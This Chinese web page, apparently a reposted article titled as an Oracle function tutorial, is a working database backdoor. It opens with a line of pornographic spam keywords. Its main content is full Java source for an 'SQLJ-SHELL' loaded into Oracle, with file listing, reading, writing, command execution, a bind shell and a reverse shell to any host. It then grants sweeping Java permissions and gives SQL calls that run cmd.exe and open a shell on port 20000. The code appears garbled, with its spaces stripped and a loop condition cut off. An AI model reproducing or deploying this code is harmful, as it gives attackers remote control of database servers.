日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
事例解析Oracle函數(shù)

在向大家詳細介紹Oracle函數(shù)之前,首先讓大家了解下Oracle數(shù)據(jù)庫建立JAVA對象,然后全面介紹Oracle函數(shù),希望對大家有用。首先在Oracle數(shù)據(jù)庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用,不知道是ORA支持JAVA的問題還是個人能力有限:

 
 
 
  1. createorreplaceandcompilejavasourcenamedistoas
  2. importjava.io.*;
  3. importjava.net.*;
  4. publicclassISTO{
  5. //author:kj021320
  6. //team:I.S.T.O
  7. publicstaticStringlistFolder(Stringpath){
  8. Filef=null;
  9. Stringstr="";
  10. f=newFile(path);
  11. String[]ffiles=f.list();
  12. if(files!=null)
  13. for(inti=0;i;i++){
  14. str+=files[i]+"\r\n";
  15. }
  16. returnstr;
  17. }
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){
  19. FileOutputStreamfos=null;
  20. try{
  21. fos=newFileOutputStream(filepath);
  22. fos.write(value.getBytes());
  23. return"OK";
  24. }catch(Exceptione){
  25. returne.getMessage();
  26. }finally{
  27. if(fos!=null){
  28. try{fos.close();}catch(Exceptione){}
  29. }
  30. }
  31. }
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){
  33. BufferedReaderbr=null;
  34. Stringvalue="";
  35. try{
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));
  37. Strings=null;
  38. while((s=br.readLine())!=null){
  39. value+=s;
  40. }
  41. returnvalue;
  42. }catch(Exceptione){
  43. returne.getMessage();
  44. }finally{
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}
  46. }
  47. }
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){
  49. inti=0;
  50. RuntimeRuntimert=Runtime.getRuntime();
  51. Stringoutput="";
  52. InputStreamReaderisr=null;
  53. char[]bufferC=newchar[1024];
  54. try{
  55. Processps=rt.exec(filepath);
  56. isr=newInputStreamReader(ps.getInputStream(),code);
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){
  58. output+=newString(bufferC,0,i);
  59. }
  60. returnoutput;
  61. }catch(Exceptione){
  62. returne.getMessage();
  63. }finally{
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}
  65. }
  66. }
  67. publicstaticStringbindShell(intport){
  68. ServerSocketss=null;
  69. Sockets=null;
  70. try{
  71. ss=newServerSocket(port);
  72. s=ss.accept();
  73. newoptShell(ss,s).start();
  74. return"OK";
  75. }catch(Exceptione){
  76. returne.getMessage();
  77. }
  78. }
  79. publicstaticStringreverseShell(Stringhost,intport){
  80. Sockets=null;
  81. try{
  82. s=newSocket(host,port);
  83. newoptShell(null,s).start();
  84. return"OK";
  85. }catch(Exceptione){
  86. returne.getMessage();
  87. }
  88. }
  89. publicstaticclassoptShellextendsThread{
  90. OutputStreamos=null;
  91. InputStreamis=null;
  92. ServerSocketss;
  93. Sockets;
  94. publicoptShell(ServerSocketss,Sockets){
  95. this.ss=ss;
  96. this.s=s;
  97. try{
  98. this.is=s.getInputStream();
  99. this.os=s.getOutputStream();
  100. }catch(Exceptione){
  101. if(os!=null)try{os.close();}catch(Exceptionex){}
  102. if(is!=null)try{is.close();}catch(Exceptionex){}
  103. if(s!=null)try{s.close();}catch(Exceptionex){}
  104. if(ss!=null)try{ss.close();}catch(Exceptionex){}
  105. }
  106. }
  107. publicvoidrun(){
  108. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));
  109. Stringline="";
  110. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";
  111. try{
  112. //os.write(cmdhelp.getBytes());
  113. line=br.readLine();
  114. while(!"exit".equals(line)){
  115. if(line.length()>3){
  116. StringBuffersb=newStringBuffer(line.trim());
  117. Stringcmd=sb.substring(0,4);
  118. if(cmd.equals("list")){
  119. os.write("inputyoupath:\r\n".getBytes());
  120. line=br.readLine();
  121. os.write(listFolder(line).getBytes());
  122. }elseif("save".equals(cmd)){
  123. os.write("inputyoufilepath:\r\n".getBytes());
  124. line=br.readLine();
  125. os.write("inputyouvalue:\r\n".getBytes());
  126. os.write(saveFile(line,br.readLine()).getBytes());
  127. }elseif("read".equals(cmd)){
  128. os.write("inputyoufilepath:\r\n".getBytes());
  129. line=br.readLine();
  130. os.write("inputyoucodeexamle:GBK\r\n".getBytes());
  131. os.write(readFile(line,br.readLine()).getBytes());
  132. }elseif("exec".equals(cmd)){
  133. os.write("inputyourunfilepath:\r\n".getBytes());
  134. line=br.readLine();
  135. os.write("inputyoucodeexamle:GBK\r\n".getBytes());
  136. os.write(execFile(line,br.readLine()).getBytes());
  137. }else{
  138. os.write(cmdhelp.getBytes());
  139. }
  140. }else{
  141. os.write(cmdhelp.getBytes());
  142. }
  143. line=br.readLine();
  144. }
  145. }catch(Exceptione){
  146. e.printStackTrace();
  147. }finally{
  148. if(os!=null)try{os.close();}catch(Exceptione){}
  149. if(is!=null)try{is.close();}catch(Exceptione){}
  150. if(s!=null)try{s.close();}catch(Exceptione){}
  151. if(ss!=null)try{ss.close();}catch(Exceptione){}
  152. }
  153. }
  154. }
  155. }

以上建立完成之后 需要用Oracle函數(shù)調(diào)用JAVA的靜態(tài)方法:
◆列舉目錄函數(shù)
◆保存文件函數(shù)
◆讀文件函數(shù)
◆運行文件函數(shù)
◆端口綁定 你可以telnet進去

以上Oracle函數(shù)轉(zhuǎn)換操作之后 需要給JAVA授予訪問權(quán)限

 
 
 
  1. begin
  2. Dbms_Java.Grant_Permission('用戶名字','java.io.FilePermission','< FILES>>','read,write,execute,delete');
  3. Dbms_Java.Grant_Permission('用戶名字','java.lang.RuntimePermission','*','writeFileDescriptor');
  4. Dbms_Java.grant_permission('用戶名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
  5. end;

然后就可以進行文件操作以及 運行程序  開啟網(wǎng)絡(luò)!

以下為測試代碼:

 
 
 
  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句話shell') FROM DUAL;
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL

文章名稱:事例解析Oracle函數(shù)
文章路徑:http://m.5511xx.com/article/cdipjsg.html